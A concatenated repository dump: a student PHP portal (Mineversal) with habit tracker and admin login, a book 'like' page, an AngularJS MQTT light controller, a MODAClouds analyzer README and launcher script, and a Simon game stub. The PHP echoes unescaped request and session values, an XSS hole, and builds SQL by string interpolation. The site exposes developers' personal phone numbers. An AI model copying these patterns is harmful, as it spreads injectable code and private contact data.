<button class="navbar-toggler navbar-toggler-right navbar-toggler-size" type="button" data-toggle="collapse" data-target="#navbarSupportedContent" aria-controls="navbarSupportedContent" aria-expanded="false" aria-label="Toggle navigation">
<span class="navbar-toggler-icon"></span>
</button>
<div class="collapse navbar-collapse" id="navbarSupportedContent">
<ul class="navbar-nav ml-auto">
<li class="nav-item my-auto buttonbar active">
<a href="#home" class="nav-link"><i class="fa fa-fw fa-home"></i> HOME</a>
</li>
<li class="nav-item my-auto buttonbar active">
<a href="#online" class="nav-link"><i class="fa fa-fw fa-globe"></i> TRAVELLING</a>
</li>
<li class="nav-item my-auto buttonbar active">
<a href="#data" class="nav-link"><i class="fa fa-fw fa-folder"></i> COVID-19 DATA</a>
</li>
<li class="nav-item my-auto buttonbar active">
<a href="#aboutus" class="nav-link"><i class="fa fa-fw fa-user"></i> ABOUT US</a>
</li>
<li class="nav-item my-auto buttonbar active">
<a href="#contact" class="nav-link"><i class="fa fa-fw fa-envelope"></i> CONTACT</a>
</li>
<li class="nav-item dropdown my-auto buttonbar active">
<a class="nav-link dropdown-toggle" href="#" id="navbarDropdown" role="button" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">
<i class="fa fa-fw fa-search"></i> SEARCH
</a>
<div class="dropdown" aria-labelledby="navbarDropdown">
<form class="search-content" action="search?search=<?php echo $_GET['search'];?>" method="GET">
<div class="search dropdown-item">
<input type="text" placeholder="Search.." name="search">
<button type="submit"><i class="fa fa-search"></i></button>
</div>
</form>
</div>
</li>
<li class="nav-item my-auto buttonbar active">
<a href="account" class="nav-link"><i class="fa fa-fw fa-user"></i> MY ACCOUNT</a>
</li>
<li class="nav-item my-auto buttonbar active">
<a class="nav-link" onclick="document.getElementById('signUp').style.display='block'" style="width:auto;"><i class="fa fa-fw fa-close"></i> LOGOUT</a>
<div id="signUp" class="signup-bg">
<form class="signup-content animate col-md-4 mx-auto" action="logout.php" method="POST">
<div class="signup-container">
<div class="signup-formcontainer">
<span onclick="document.getElementById('signUp').style.display='none'" class="close" title="Close Modal">×</span>
<h1>Log Out Confirm</h1>
<p>Are you sure you want logout?</p>
</div>
<div class="clearfix">
<button type="button" onclick="document.getElementById('signUp').style.display='none'" class="cancelbtn">Cancel</button>
<button type="submit" class="signupbtn" name="logout">Log Out</button>
</div>
</div>
</form>
</div>
</li>
</ul>
</div>
</div>
</nav>
</header>
<div class="slideshow-container" id="home">
<div class="slideshow">
<img src="assets/img/img1.jpg" style="width:100%">
<div class="imgtext">Milky Way Galaxy</div>
</div>
<div class="slideshow">
<img src="assets/img/img2.jpg" style="width:100%">
<div class="imgtext">Moon and Andromeda</div>
</div>
<div class="slideshow">
<img src="assets/img/img3.jpg" style="width:100%">
<div class="imgtext">The Moon</div>
</div>
</div>
<div class="header" id="online">
<?php if($msg_ks){ ?>
<div class="alert alert-success" role="alert"><strong>Terima Kasih Atas Kritik Sarannya!</strong> <?php echo htmlentities($msg_ks);?></div>
<?php } ?>
<?php if($error_ks){ ?>
<div class="alert alert-danger" role="alert"><strong>Yah Maaf!</strong> <?php echo htmlentities($error_ks);?></div>
<?php } ?>
<h2 class="mt-2" id="project">Selamat Datang <?php echo $_SESSION["user"]["name"]?></h2>
<p><i>MINEVERSAL WITH YOU</i></p>
</div>
<div class="main-container">
<div class="main col-md-9 text-left">
<h2>ONLINE TRAVELLING</h2>
<p>STAY AT HOME AND ENJOY YOUR ONLINE TRAVELLING</p>
<hr>
<div class="row">
<div class="col-md-12">
<div id="slider" class="owl-carousel owl-theme slider">
<?php
include("config.php");
$query=mysqli_query($kon,"SELECT id as id, admin as admin, image, title as title FROM post WHERE post.Is_Active=1");
$rowcount=mysqli_num_rows($query);
if($rowcount==0){
?>
<div><h1>Tidak Ada Post</h1></div>
<?php
} else {
while($row = mysqli_fetch_array($query))
{
?>
<div class="card">
<div class="img"><img src="https://tugas.mineversal.com/admin/images/<?php echo htmlentities($row['image']);?>" alt="<?php echo htmlentities($row['title']);?>"></div>
<div class="content">
<div class="title"><?php echo htmlentities($row['title']);?></div>
<div class="sub-title"></div>
<p></p>
<div class="btn">
<a class="call" href="content?id=<?php echo htmlentities($row['id']);?>">Go To Page</a>
</div>
</div>
</div>
<?php } }?>
</div>
</div>
</div>
<h2 id="data" class="mt-3">COVID-19 DATA</h2>
<p>STAY HOME FOR YOUR SAFETY AND YOUR HEALTHY</p>
<hr>
<div class="row">
<div class ="col-md-4">
<div class="lesson-wrap mx-auto">
<a href="worlddata" id="lesson-btn">
<div class="lesson-wrap-1">
<h1>WORLD</h1>
<p>WORLD COVID-19 DATA</p>
</div>
</a>
</div>
</div>
<div class ="col-md-4">
<div class="lesson-wrap">
<a href="indonesiadata" id="lesson-btn">
<div class="lesson-wrap-1">
<h1>INDONESIA</h1>
<p>INDONESIA COVID-19 DATA</p>
</div>
</a>
</div>
</div>
<div class ="col-md-4">
<div class="lesson-wrap">
<a href="provincedata" id="lesson-btn">
<div class="lesson-wrap-1">
<h1>PROVINCE</h1>
<p>PROVINCE COVID-19 DATA</p>
</div>
</a>
</div>
</div>
</div>
<br id="habbit">
<h2 class="mt-3">HABBIT TRACKER</h2>
<p>WRITE AND SCHEDULE YOUR ACTIVITY</p>
<hr>
<div class="row">
<div class="col-sm-12">
<div class="card-box">
<div class="table-responsive">
<table class="table table-colored table-centered table-inverse m-0 bg-dark">
<thead>
<tr>
<th>Nama Habit</th>
<th>Catatan</th>
<th>Catatan Besok</th>
<th>Action</th>
</tr>
</thead>
<tbody>
<?php
include("config.php");
$id = $_SESSION["user"]["id"];
$query = mysqli_query($kon, "SELECT id_habbit as id_habbit, nama_habbit as nama_habbit, catatan as catatan, catatan_besok as catatan_besok FROM habit WHERE habit.id_user='$id'");
$rowcount = mysqli_num_rows($query);
if($rowcount==0){
?>
<tr>
<td colspan = "4" align="center"><h3 style="color:red">No record found</h3></td>
</tr>
<?php
} else {
while($row = mysqli_fetch_array($query)) {
?>
<tr>
<td><?php echo htmlentities($row['nama_habbit']);?></td>
<td><?php echo htmlentities($row['catatan']);?></td>
<td><?php echo htmlentities($row['catatan_besok']);?></td>
<td><a href="edit-habbit?id_habbit=<?php echo htmlentities($row['id_habbit']);?>"><i class="fa fa-pencil" style="color: #29b6f6;"></i></a>
<a href="habbitTracker?id_habbit=<?php echo htmlentities($row['id_habbit']);?>" onclick="return confirm('Do you realy want to delete?')"> <i class="fa fa-trash-o" style="color: #f05050"></i></a> </td>
</tr>
<?php } }?>
</tbody>
</table>
</div>
</div>
</div>
</div>
<br>
<a id="add-habbit" class="buttonbar text-center m-auto col-12" href="habbitTracker?id=<?php echo htmlspecialchars($_SESSION['user']['id']); ?>">ADD HABBIT</a>
<br id="aboutus">
<h2 class="mt-5">ABOUT US</h2>
<p>EVERYTHING ABOUT MINEVERSAL</p>
<hr>
<p class="text-justify">Mineversal memiliki makna yaitu "Milik Bersama" karena ini merupakan Project
gabungan yang dibuat dan dikembangkan secara bersama-sama oleh satu tim berisikan 5 orang yaitu Zidan,
Ivana, Nadya, Azhar, dan Gading. Memiliki 3 Fitur Utama yaitu Online Travelling, COVID-19 DATA dan
Habbit Tracker. Terima Kasih, Silahkan Manfaatkan fitur yang ada di web kami. <a href="aboutus">
More About Us</a></p>
<br>
<h2 class="mt-4">FEEDBACK OUR SITE</h2>
<p>THANKS TO USING OUR SITE AND DON'T FORGET TO FILL FEEDBACK</p>
<hr>
<p class="text-justify">Terima Kasih telah menggunakan Web Kami..., Kami harap anda dapat mengisi form feedback dibawah ini
sebagai koreksi dan perbaikan pengembangan website kami untuk kedepannya, sering-sering berkunjung kesini ya xD<p>
<button class="buttonbar" onclick="document.getElementById('feedback').style.display='block'">FEEDBACK FORM</button>
<div id="feedback" class="feedback-bg">
<form class="feedback-content animate col-md-4 mx-auto" action="" method="POST">
<div class="feedback-container">
<div class="feedback-formcontainer">
<span onclick="document.getElementById('feedback').style.display='none'" class="close" title="Close Modal">×</span>
<h1>Feedback Form</h1>
<p>Please fill in this form</p>
</div>
<hr id="line">
<label for="name"><b>Nama</b></label>
<div class="input-container">
<i class="fa fa-user icon"></i>
<input type="text" placeholder="Enter Name" value="<?php echo $_SESSION["user"]["name"]?>" name="nama" readonly>
</div>
<label for="Kritik"><b>Kritik dan Saran</b></label>
<div class="input-container">
<i class="fa fa-envelope icon"></i>
<textarea class="textarea" placeholder="Enter Feedback" name="feedback" value="" required></textarea>
</div>
<div class="row m-auto">
<fieldset class="rating float-left">
<legend>Rating Our Site</legend>
<input type="radio" id="star5" name="rating" value="5"><label for="star5" title="Rocks!">5 stars</label>
<input type="radio" id="star4" name="rating" value="4"><label for="star4" title="Pretty good">4 stars</label>
<input type="radio" id="star3" name="rating" value="3"><label for="star3" title="Meh">3 stars</label>
<input type="radio" id="star2" name="rating" value="2"><label for="star2" title="Kinda bad">2 stars</label>
<input type="radio" id="star1" name="rating" value="1"><label for="star1" title="Sucks big time">1 star</label>
</fieldset>
</div>
<div class="clearfix row m-auto">
<button type="button" onclick="document.getElementById('feedback').style.display='none'" class="cancelbtn col-6">Cancel</button>
<button type="submit" class="signupbtn col-6" name="ks">Send Feedback</button>
</div>
</div>
</form>
</div>
</div>
<div class="side col-md-3" id="aboutus">
<article class="profile">
<h2>DEVELOPER TEAM</h2>
<hr>
<div id="kartu">
<img src="assets/img/nadya.jpeg" alt="Random Name" style="width:100%">
<h3 class="mt-3"><NAME></h3>
<p>As UI/UX Designer and Front End Developer</p>
<p><a class="call" href="https://instagram.com/amnndya">Contact</a></p>
</div>
<div id="kartu">
<img src="assets/img/ivana.png" alt="Random Name" style="width:100%">
<h3 class="mt-3"><NAME></h3>
<p>As Content Researcher and Front End Developer</p>
<p><a class="call" href="https://wa.me/+6281296932033">Contact</a></p>
</div>
<div id="kartu">
<img src="assets/img/azhar.jpg" alt="Random Name" style="width:100%">
<h3 class="mt-3"><NAME></h3>
<p>As Project Manager and Full Stack Developer</p>
<p><a class="call" href="https://wa.me/+6281317441991">Contact</a></p>
</div>
<div id="kartu">
<img src="assets/img/gading.jpeg" alt="Random Name" style="width:100%">
<h3 class="mt-3"><NAME></h3>
<p>As Data Researcher and Back End Developer</p>
<p><a class="call" href="https://wa.me/+6281294201579">Contact</a></p>
</div>
<div id="kartu">
<img src="assets/img/zidan.jpeg" alt="Random Name" style="width:100%">
<h3 class="mt-3"><NAME></h3>
<p>As Feature Inovator and Back End Developer</p>
<p><a class="call" href="https://wa.me/+6281906852062">Contact</a></p>
</div>
</article>
</div>
</div>
<div class="footer">
<div id="contact">
<h3 class="">Contact Us</h3>
<a href="https://facebook.com/mineversal" class="fa fa-facebook"></a>
<a href="https://twitter.com/mineversals" class="fa fa-twitter"></a>
<a href="https://instagram.com/mineversal" class="fa fa-instagram"></a>
<a href="https://youtube.com/mineversal" class="fa fa-youtube"></a>
</div>
<br>
<div>
<p>Jakarta, 27 September 2020</p>
<p>Thanks to Mrs <NAME> and Lab Asistant<p>
</div>
<div class="copyright">
© Copyright <strong><span>Mineversal</span></strong> 2020
</div>
</div>
<a onclick="topFunction()" id="upBtn" title="Back to Top"><i class="arrow up"></i></a>
</body>
<script>
$(".slider").owlCarousel({
loop: true,
autoplay: true,
autoplayTimeout: 2000, //2000ms = 2s;
autoplayHoverPause: true,
responsiveClass: true,
margin:10,
responsive:{
0:{
items:1,
nav:true,
dots:false
},
600:{
items:2,
nav:false,
dots:false
},
1000:{
items:3,
nav:false,
dots:false
}}
});
</script>
<script src="assets/js/index.js" type="text/javascript"></script>
<script src="framework/js/bootstrap.bundle.min.js" type="text/JavaScript"></script>
</html><file_sep>/admin/logout.php
<?php
session_start();
session_unset();
session_destroy();
setcookie("name", "");
header('Location: '.$uri.'/admin/');
?><file_sep>/user/auth.php
<?php
session_start();
if (!isset($_SESSION["user"])) {
?>
<script language="JavaScript">
alert('Maaf ya, silahkan register lalu login terlebih dahulu sebelum menggunakan fitur pada situs Mineversal');
document.location='https://tugas.mineversal.com';
</script>
<?php
}
?><file_sep>/admin/index.php
<?php
if(!isset($_SESSION)) {
session_start();
}
require_once("config.php");
if(isset($_SESSION["admin"])) {
header('Location: '.$uri.'/admin/dashboard');
}
if(isset($_POST['login'])){
$username = filter_input(INPUT_POST, 'username', FILTER_SANITIZE_STRING);
$password = filter_input(INPUT_POST, '<PASSWORD>', FILTER_SANITIZE_STRING);
$sql = "SELECT * FROM admin WHERE username=:username OR email=:email";
$stmt = $db->prepare($sql);
$params = array(
":username" => $username,
":email" => $username
);
$stmt->execute($params);
$admin = $stmt->fetch(PDO::FETCH_ASSOC);
if($admin){
if(password_verify($password, $admin["password"])){
session_start();
$_SESSION["admin"] = $admin;
header('Location: '.$uri.'/admin/dashboard');
} else {
echo "<h3><font color=red><center>Password Salah!</center></font></h3>";
}
}
}
?>
<!DOCTYPE html>
<meta charset="UTF-8"/>
<meta name="viewport" content="width=device-width, initial-scale=1.0"/>
<link rel="stylesheet" href="https://tugas.mineversal.com/user/assets/css/index.css" type="text/css"/>
<link rel="stylesheet" href="https://tugas.mineversal.com/user/framework/css/bootstrap.min.css"/>
<link href='https://fonts.googleapis.com/css?family=Alegreya' rel='stylesheet'>
<link href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css" rel="stylesheet">
<head>
<link rel="shortcut icon" href="https://tugas.mineversal.com/user/assets/img/logo1.png"/>
<title>Mineversal | Admin Login</title>
<style>
body, html {
height: 100%;
font-family: 'Alegreya';
font-size: 18.6px;
scroll-behavior: smooth;
}
.login-bg-image {
box-shadow: 0 4px 8px 0 rgba(0, 0, 0, 0.2);
height: 100%;
background: linear-gradient(rgba(0, 0, 0, 0.5), rgba(0, 0, 0, 0.5)), url(https://tugas.mineversal.com/user/assets/img/bg3.jpg) no-repeat;
background-position: center;
background-size: cover;
position: relative;
margin: 0;
padding: 0;
}
.cancelbtn, .cancelbtn:hover {
color: white;
text-decoration: none;
}
</style>
</head>
<body>
<div id="login" class="login-bg-image">
<br>
<br>
<br>
<br>
<form class="login-content animate col-md-4 my-auto mx-auto text-left" method="POST" action="">
<div class="login-imgcontainer">
<a href="https://tugas.mineversal.com/" class="close" title="Close Modal">×</a>
<img src="https://tugas.mineversal.com/user/assets/img/logo.png" height="35" alt="logo">
</div>
<div class="login-container">
<label for="email"><b>Email or Username</b></label>
<div class="input-container">
<i class="fa fa-envelope icon"></i>
<input type="text" placeholder="Enter Email or Username" name="username" required>
</div>
<label for="psw"><b>Password</b></label>
<div class="input-container">
<i class="fa fa-key icon"></i>
<input type="password" placeholder="Enter Password" name="<PASSWORD>" required>
</div>
<button class="submitlog-btn" type="submit" name="login">Login</button>
<label>
<input type="checkbox" checked="checked" name="remember"> Remember me
</label>
</div>
<div class="login-container" style="background-color:#f1f1f1">
<a type="button" href="https://tugas.mineversal.com/" class="cancelbtn">Cancel</a>
<span class="psw">Forgot <a href="#">password?</a></span>
</div>
</form>
</div>
</body>
</html> | e49f6a2e9c4c28dc0f014480c6e58c2deb666662 | [
"PHP"
] | 14 | PHP | Mineversal/First-Website | 1850f1d2175bb80e047c1b229cf9de48604af8bc | 1c761c3fb5d39641b24090970f2fa53d808b5544 |
refs/heads/master | <repo_name>relken/i244_eksam<file_sep>/function.js
$(function() {
$(".like").click(function() {
var item_id = $(this).attr("id");
var dataString = 'item_id='+item_id;
$.ajax({
type: "POST",
url: "func.php",
data: dataString,
cache: false,
success: function(data){
$('a#'+item_id).html(data);
}
});
});
});
<file_sep>/index.php
<?php
include('func.php');
?>
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<title>I244 eksam - Rain Elken</title>
<link href="style.css" rel="stylesheet" type="text/css" />
<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.12.2/jquery.min.js"></script>
<script type="text/javascript" src="function.js"></script>
</head>
<body>
<div class="container">
<h1>Enimmüüdud raamatud aastal 2012</h1>
<h3>Need raamatud meeldivad niipaljudele kasutajatele:</h3>
<ul>
<?php
$sql = "SELECT * FROM rain_items ORDER BY id ASC";
$query = mysqli_query($con,$sql);
while ($row = mysqli_fetch_array($query)) {
?>
<li>
<a href="javascript:void();" class="like" id="<?php echo htmlspecialchars($row['id']); ?>">Like <span><?php echo likes(htmlspecialchars($row['id'])); ?></span></a>
<?php echo htmlspecialchars($row['item']); ?></li>
<?php
}
?>
</ul>
<h3 id="vasak">Kui sulle endale ka meeldib, vajuta "Like" nupule</h3>
</div>
</body>
</html><file_sep>/func.php
<?php
$host="localhost";
$user="test";
$pass="<PASSWORD>";
$db="test";
$con = mysqli_connect($host, $user, $pass, $db) or die("ei saa ühendust mootoriga- ".mysqli_error());
mysqli_query($con, "SET CHARACTER SET UTF8") or die("Ei saanud baasi utf-8-sse - ".mysqli_error($con));
if(isset($_POST['item_id'])) {
$item_id = mysqli_real_escape_string($con,$_POST['item_id']);
$ip = mysqli_real_escape_string($con,get_real_ip());
mysqli_query($con,"INSERT INTO rain_likes (item_id,ip) VALUES ('$item_id','$ip')");
echo 'Like <span>'.likes($item_id).'</span>';
}
function likes($item_id) {
global $con;
$query = mysqli_query($con,"SELECT * FROM rain_likes WHERE item_id=".mysqli_real_escape_string($con, $item_id));
$likes = mysqli_num_rows($query);
return $likes;
}
function get_real_ip()
{
if (!empty($_SERVER['HTTP_CLIENT_IP']))
{ $ip=$_SERVER['HTTP_CLIENT_IP'];}
elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR']))
{$ip=$_SERVER['HTTP_X_FORWARDED_FOR'];}
else {$ip=$_SERVER['REMOTE_ADDR'];}
return $ip;
}
?> | cf17dec9140c97c11c0ae66b5349cbf050937432 | [
"JavaScript",
"PHP"
] | 3 | JavaScript | relken/i244_eksam | dd9fdc96acfd316a032a14c6a387f50f06c1bf47 | 60be60185eb11b2152d2602b0d946363c93be8b4 |
refs/heads/master | <repo_name>SBado/Tradfri<file_sep>/modules/Tradfri/components/Light.js
(function () {
'use strict';
angular.module('tradfri')
.component('smartLight', {
templateUrl: 'modules/Tradfri/components/templates/Light.html',
bindings: {
lightIndex: '<',
lightName: '<',
lightStatus: '<',
lightSwitch: '<'
}
});
})();<file_sep>/modules/Tradfri/components/LightsOverview.js
(function () {
'use strict';
angular.module('tradfri')
.component('lightsOverview', {
templateUrl: 'modules/Tradfri/components/templates/LightsOverview.html',
controller: LightsOverviewController
});
function LightsOverviewController($timeout) {
var $ctrl = this;
$ctrl.lights = [];
$ctrl.states = [];
// Create a client instance
var client = new Paho.MQTT.Client("sbaldo.monopolepower.com", Number(8884), '/mqtt', 'Browser_' + Math.random().toString());
// set callback handlers
client.onConnectionLost = onConnectionLost;
client.onMessageArrived = onMessageArrived;
var options = {
//connection attempt timeout in seconds
timeout: 3,
//Gets Called if the connection has successfully been established
onSuccess: onConnect,
userName: "ste",
password: "<PASSWORD>",
useSSL: true
};
// connect the client
client.connect(options);
// called when the client connects
function onConnect() {
// Once a connection has been made, make a subscription and send a message.
console.log("onConnect");
client.subscribe("light/name/all");
client.subscribe("light/state/single/byIndex");
client.subscribe("light/state/all");
var message = new Paho.MQTT.Message("");
message.destinationName = "get/light/name/all";
client.publish(message);
message.destinationName = "get/light/state/all";
client.publish(message);
}
// called when the client loses its connection
function onConnectionLost(responseObject) {
if (responseObject.errorCode !== 0) {
console.log("onConnectionLost:" + responseObject.errorMessage);
}
}
// called when a message arrives
function onMessageArrived(message) {
console.log(message.destinationName);
console.log("onMessageArrived:" + message.payloadString);
if (message.destinationName == 'light/name/all') {
$timeout(function () {
$ctrl.lights = []
var payloadList = message.payloadString.split(';');
payloadList.map(function (p) {
var info = p.split(':');
var light = {
index: Number(info[0]),
name: info[1]
}
$ctrl.lights.push(light);
});
});
}
else if (message.destinationName == 'light/state/single/byIndex') {
$timeout(function () {
var payloadList = message.payloadString.split(':');
var index = Number(payloadList[0]);
var status = Number(payloadList[1]);
$ctrl.states[index] = status;
});
}
else if (message.destinationName == 'light/state/all') {
$timeout(function () {
var payloadList = message.payloadString.split(';');
$ctrl.states = new Array(payloadList.length);
payloadList.map(function (p) {
var info = p.split(':');
var index = Number(info[0]);
var status = Number(info[1]);
$ctrl.states[index] = status;
});
});
}
}
function switchLight(lightIndex) {
var message = new Paho.MQTT.Message(lightIndex.toString());
message.destinationName = "switch/light/single";
client.publish(message);
}
$ctrl.switchLight = switchLight;
}
})();<file_sep>/modules/Tradfri/Tradfri.js
(function () {
var app = angular.module('tradfri', ['ngRoute', 'ngResource', 'ngAnimate', 'ngMaterial', 'ui.router']);
app.config(['$stateProvider', '$urlRouterProvider', '$mdDateLocaleProvider', function ($stateProvider, $urlRouterProvider, $mdDateLocaleProvider) {
// For any unmatched url, redirect to /state1
$urlRouterProvider.otherwise("/overview");
$stateProvider
.state('overview', {
url: "/overview",
data: {
pageTitle: 'Overview'
},
views: {
'pages': {
template: "<lights-overview>"
}
}
});
}])
})();<file_sep>/modules/Tradfri/components/templates/Light.html
<div>
<label>Nome: {{$ctrl.lightName}}</label>
<br/>
<label>Stato: {{$ctrl.lightStatus ? 'Accesa' : 'Spenta'}}</label>
<br/>
<button ng-click="$ctrl.lightSwitch($ctrl.lightIndex)">{{$ctrl.lightStatus ? 'Spegni' : 'Accendi'}}</button>
</div> | f5dbabadb28022cf4ab8eb0ec89568fd1f007b17 | [
"JavaScript",
"HTML"
] | 4 | JavaScript | SBado/Tradfri | 4062032b7f1caf7966f5abc840dac73e717fdb6d | a4e171722e277991eb0c05ab18f725f9a93da07f |
refs/heads/master | <file_sep>#!/usr/bin/env dash
g++ -lncurses -o wizardcpp wizard.cpp
<file_sep>#!/bin/dash
rdmd -w -g -gc -property -debug -unittest wizard.d
<file_sep>#include <ncurses.h>
//had trouble, blatantly copied from nanenj
int main()
{
initscr();
noecho();
raw();
nodelay(stdscr, true);
keypad(stdscr, true);
curs_set(0);
int width, height;
getmaxyx(stdscr,height,width);
int cx = 40, cy = 12;
int c;
while(((c=getch()))!=27)
{
if (c==KEY_UP && cy-1 > 0)
cy--;
if (c==KEY_DOWN && cy+1 < height - 1)
cy++;
if (c==KEY_LEFT && cx-1 > 0)
cx--;
if (c==KEY_RIGHT && cx+1 < width - 1)
cx++;
for (int x=0; x<width; x++)
{
for (int y=0; y<height; y++)
{
if (y==0)
mvprintw(y, x, "#");
else if (y==height-1)
mvprintw(y, x, "#");
else if (x==0)
mvprintw(y, x, "#");
else if (x==width-1)
mvprintw(y, x, "#");
else
mvprintw(y, x, ".");
}
mvprintw(0, x, "#");
}
mvprintw(cy, cx, "@");
refresh();
}
endwin();
return 0;
}
| 856106d7dcfb6f47be03d0643d6730a7ea80c692 | [
"C++",
"Shell"
] | 3 | Shell | TeamCoding/Wizard | cdbc61001e4450ea321b8657181c52e4ffa6e6b9 | 2647cf2e4cb3c18309863fb1454fe414af092433 |
refs/heads/master | <file_sep>INSERT INTO "Usuario" VALUES (1, 8000, '<EMAIL>', 'Rodrigo');
INSERT INTO "Usuario" VALUES (2, 5500, '<EMAIL>', 'Fernando');
INSERT INTO "Usuario" VALUES (3, 4751, '<EMAIL>', 'Aninha');
INSERT INTO "Pergunta" VALUES (1, 'Como dobra um papel 12 vezes?', 'Blablabla',25,1);
INSERT INTO "Pergunta" VALUES (2, 'Como se compila um programa em C?', 'Blablabla',30,1);
INSERT INTO "Pergunta" VALUES (3, 'Quanto é 1+1?', 'Blablabla',23,2);
INSERT INTO "Pergunta" VALUES (4, 'A terra é plana?', 'Blablabla',10,3);
SELECT * FROM "Pergunta" AS p
JOIN "Usuario" AS u ON 'p.usuarioID' = 'u.usuarioID';<file_sep># Minerva
## Trabalho de Engenharia de Software 2017-2
<NAME> - 15/0033010
<NAME> Junior - 150016794
<NAME> - 15/0146698
<file_sep>/*
Created: 13/11/2017
Modified: 13/11/2017
Model: PostgreSQL 9.5
Database: PostgreSQL 9.5
*/
-- Create tables section -------------------------------------------------
-- Table Pergunta
CREATE TABLE "Pergunta"(
"pergID" Integer NOT NULL,
"perg_titulo" Character varying(50) NOT NULL,
"perg_corpo" Text,
"rating" Bigint NOT NULL,
"usuarioID" Integer
);
-- Create indexes for table Pergunta
CREATE INDEX "IX_Relationship2" ON "Pergunta" ("usuarioID");
-- Add keys for table Pergunta
ALTER TABLE "Pergunta" ADD CONSTRAINT "Key1" PRIMARY KEY ("pergID");
-- Table Usuario
CREATE TABLE "Usuario"(
"usuarioID" Integer NOT NULL,
"pontos" Bigint NOT NULL,
"email" Character varying(30) NOT NULL
)
--TABLESPACE "Tablespace2"
;
-- Add keys for table Usuario
ALTER TABLE "Usuario" ADD CONSTRAINT "Key2" PRIMARY KEY ("usuarioID")
-- USING INDEX TABLESPACE "Tablespace2"
;
ALTER TABLE "Usuario" ADD COLUMN "nome" character varying(50);
ALTER TABLE "Usuario" ADD CONSTRAINT "email" UNIQUE ("email")
-- USING INDEX TABLESPACE "Tablespace2"
;
-- Create foreign keys (relationships) section -------------------------------------------------
ALTER TABLE "Pergunta" ADD CONSTRAINT "Relationship2" FOREIGN KEY ("usuarioID") REFERENCES "Usuario" ("usuarioID") ON DELETE NO ACTION ON UPDATE NO ACTION
;
| a5f45b0ab1cdeb6768584d91d9b166f76a4b2cdc | [
"Markdown",
"SQL"
] | 3 | SQL | Marcelo5215/Minerva | 3679fa4639f8d649898cb28f9bf1c1b1d4b26721 | 2c5555e1aecd64917f55d55e5d000770e9d0bd7e |
refs/heads/master | <file_sep>import Color from 'color';
function privSetColor(key: string, val: string) {
if (window.document) {
window.document.documentElement.style.setProperty(key, val);
}
}
export function getThemeColorLight(themeColor: string, lighten: number = 0.8) {
const c = new Color(themeColor);
const themeColorLight = c.lighten(lighten).hex();
return themeColorLight;
}
export function changeThemeColor(themeColor: string) {
privSetColor('--theme-color', themeColor);
}
export function changeThemeColorLight(themeColorLight: string) {
privSetColor('--theme-color-light', themeColorLight);
}
| 0d19b982e89fd2a038efdf421a8128009188b1ed | [
"TypeScript"
] | 1 | TypeScript | G-ChenHui/vite-concent-pro | 0d2e7dc9c283e52e6fc777ef11b135aad17ce928 | d5cdab2bdd6ee067dc583d5f97cc360bfd267e5b |
refs/heads/master | <file_sep>#!/bin/sh
export RSP_SERVICES_CSPARQL_HOME="${RSP_SERVICES_CSPARQL_HOME:-$PWD}"
if [ ! -e "$RSP_SERVICES_CSPARQL_HOME" ]
then
echo "$RSP_SERVICES_CSPARQL_HOME does not exist" 1>&2
exit 1
fi
JAR="$RSP_SERVICES_CSPARQL_HOME/rsp-services-csparql.jar"
if [ ! -e "$JAR" ]
then
echo "Can't find jarfile to run"
exit 1
fi
# Deal with Cygwin path issues
cygwin=false
case "`uname`" in
CYGWIN*) cygwin=true;;
esac
if [ "$cygwin" = "true" ]
then
JAR=`cygpath -w "$JAR"`
RSP_SERVICES_CSPARQL_HOME=`cygpath -w "$RSP_SERVICES_CSPARQL_HOME"`
fi
JVM_ARGS=${JVM_ARGS:--Xmx1200M}
exec java $JVM_ARGS -jar "$JAR" "$@"
<file_sep>~~The MODAClouds Deterministic Data Analyzer (rsp-services-csparql)~~
===========
> The monitoring deterministic data analyzer was migrated and included in the new [Tower 4Clouds Repository](https://github.com/deib-polimi/tower4clouds)
------
In the context of MODAClouds European project (www.modaclouds.eu), Politecnico was
one of the partners involved in the development of the QoS Analysis and Monitoring Tools.
The Deterministic Data Analyzer (DDA) is the component responsible of aggregating, analyzing and verifying
conditions on monitoring data.
The original project (rsp-services-csparql) is available at [this link](https://github.com/streamreasoning/rsp-services-csparql),
this is a fork of the original repository, where the configuration was customized for the purposes of the MODAClouds Monitoring Platform.
Please refer to deliverable [D6.3.2](http://www.modaclouds.eu/publications/public-deliverables/)
to better understand the role of this component in the MODAClouds Monitoring Platform.
Refer to the [Monitoring Platform Wiki](https://github.com/deib-polimi/modaclouds-monitoring-manager/wiki) for installation and usage of the whole platform.
## Change List
0.4.6.3-modaclouds:
* fixed problem that caused to send empty results even when configured not to do it
0.4.6.2-modaclouds:
* packaged together with executable
* package assembly automated
0.4.6.1-modaclouds:
* port can be specified as parameter (deafault is 8175): java -jar rsp-services-csparql [port]
* package is now built with dependencies by default when compiling: mvn package
## Usage
Requirements:
* JRE 7
Run:
```bash
./rsp-services-csparql [port]
```
| 5013351efd865f72e08fec3e8f8bfc51d2a0dba3 | [
"Markdown",
"Shell"
] | 2 | Shell | deib-polimi/rsp-services-csparql | 6a789be2542e0cfd0a7c79a1f78dfc5384e548d6 | 8960266b45c0b3598a08146aef28c7bc1649014f |
refs/heads/master | <file_sep>public class Car extends Vehicle{
private String type;
@Override
public String getDestination() {
return type;
}
@Override
public void setDestination(String destination) {
this.type = destination;
}
@Override
String run(){
return "The car is running";
}
String stop(){
return "The car is stopping";
}
String accelerate(){
return "The car is accelerating";
}
private String haulGravel(){
return "The dump truck, a car object, is hauling 10 tons of gravel";
}
}
| 9ef6c1149ef7d6b33927008a50b21454a6e13d76 | [
"Java"
] | 1 | Java | jihyunle/Vehicle | 1afa2484e7ceb094976c5531a0bba08a67c2674e | 5220d2a27f530f03fdae155bfce821559aa7ea80 |
refs/heads/master | <repo_name>rameshsyn/fcc<file_sep>/front-end/simon-game/js/index.js
'use strict';
function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }
function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; }
